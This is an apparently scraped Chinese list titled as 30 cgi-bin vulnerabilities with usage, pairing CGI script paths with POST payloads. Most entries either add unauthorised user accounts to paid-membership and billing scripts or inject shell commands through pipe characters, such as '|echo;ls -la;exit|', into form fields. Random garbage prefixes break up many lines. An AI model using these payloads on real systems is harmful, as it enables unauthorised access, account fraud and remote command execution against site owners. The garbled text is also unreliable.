Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
* X7 e; v8 i8 r4 xusername=username&password=password

" s1 `- }: R4 J2 `# a/index.cgi
0 g5 E7 ?: C& L+ E2 ~9 nwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password

+ L, _8 l2 o! X; o/ u8 ~3 c/accountcreate.cgi
# E3 w2 }& }. yusername=username&password=password&ref1=|echo;ls|
( r7 V. D6 r5 F9 j" i
. {$ U7 t% |4 Z$ J" Q/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
% @, p  [( A% v4 b' U3 E- \9 \/cgi-bin/EuroDebit/addusr.pl
# Y- k9 L$ \" K4 ~2 I6 _5 m+ D5 uuser=username&pass=Password&confirm=Password

: d" t9 q  P, ]1 A1 b6 V/ccbill-local.asp
6 J5 F- i; s8 E  n9 qpost_values=username:password
1 e* F7 h& B" e7 W- B: g
/count.cgi
% K: r2 ~4 Y1 x  f2 m- V2 N8 Dpinfile=|echo;ls -la;exit|
% B3 y" z' M* T6 n
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
) w* Y9 m7 H6 m- U+ `
5 B2 J% E+ ^9 S9 ^/af.cgi
_browser_out=|echo;ls -la;exit;|
+ Q' @# `' g" z
/modify.cgi
- s" H$ n+ [) kusername=username&password=password&expire=30
; Z9 H$ H9 w5 a  K# K
/openjournal.cgi
$ J% C9 I4 }+ d6 _4 xedit=1&ct=2&go=|echo;ls -al;exit|

! V- R9 P0 P7 l" W( A+ }: M/gx9passwd.cgi
" r0 d# v' O9 h+ X6 Rcmd=ADD&user=username&pass=password

8 N' K+ f! t1 c/probecontrol.cgi
command=enable&username=username&password=password
$ A; o6 W7 Z0 v+ C
/recon.cgi
4 V6 y2 t! Z  U* E" K2 V! w9 ~3 Zsearchoption=3&searchfor=echo;ls -la;exit

3 z1 G4 P9 N7 Y0 F3 M/htadd.pl
+ n8 q6 O3 r+ g( M, Uconfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
$ G; p: U( N. C4 U5 C, ]cmd=ADD&user=username&pass=password
% @! C6 S& \! f! K. C
- g' X: ^7 w" x/ibill*.pl
5 B  U9 j, t4 C! Q5 d9 B+ `reqtype=add&authpwd=authpwd&username=username&password=password

- q3 ?2 ]/ m5 t/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
6 s+ ?) Y2 m% R; |+ n5 ?( z* _
/ W7 x7 Y" L& |' p/globill_ut.cgi
& X$ V- g9 K# G$ cdo=add&username=username&password=password&wpassword=password

) c9 a3 K% M' a, y* p/usercontrol.cgi
command=enable&username=USER&password=PASS
  f. B) o4 N7 ~$ N9 v
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

4 y. _7 I4 w, h( H/addusr.pl
4 Z9 Q3 {3 T: {/ F0 Duser=USER&pass=PASS&confirm=PASS
; X6 w% G: a+ w- N
/pincount.cgi
  I: G  c( W+ x3 |: n+ l, _9 f, b7 i/cgi-bin/mastergate/pincount.cgi
1 [- r" H" P  v2 ^pinfile=|echo;pwd;exit|

3 D! x7 v7 r  ]* n/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
( w1 c. T/ d& y% O" I
/af.cgi
: y$ `" u) w0 s# l5 ~  {* L& v/env.cgi
6 g0 S- m  l* b+ @- q$ W9 j% l2 tADD+;echo;pwd;exit
: L) [7 a' |7 j& a; @! J# N  [' @. F
/count.cgi
pinfile=|echo;pwd;exit|
# A8 Y% f6 \. p" h5 T
/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
; ^  t" w& Y4 I* I( n( W
) R- |2 v3 r8 L/add.cgi
  @, C6 o' F, {7 uusername=username&password=password&expire=30
/ k' a# A% F4 p; o7 e7 W
==============================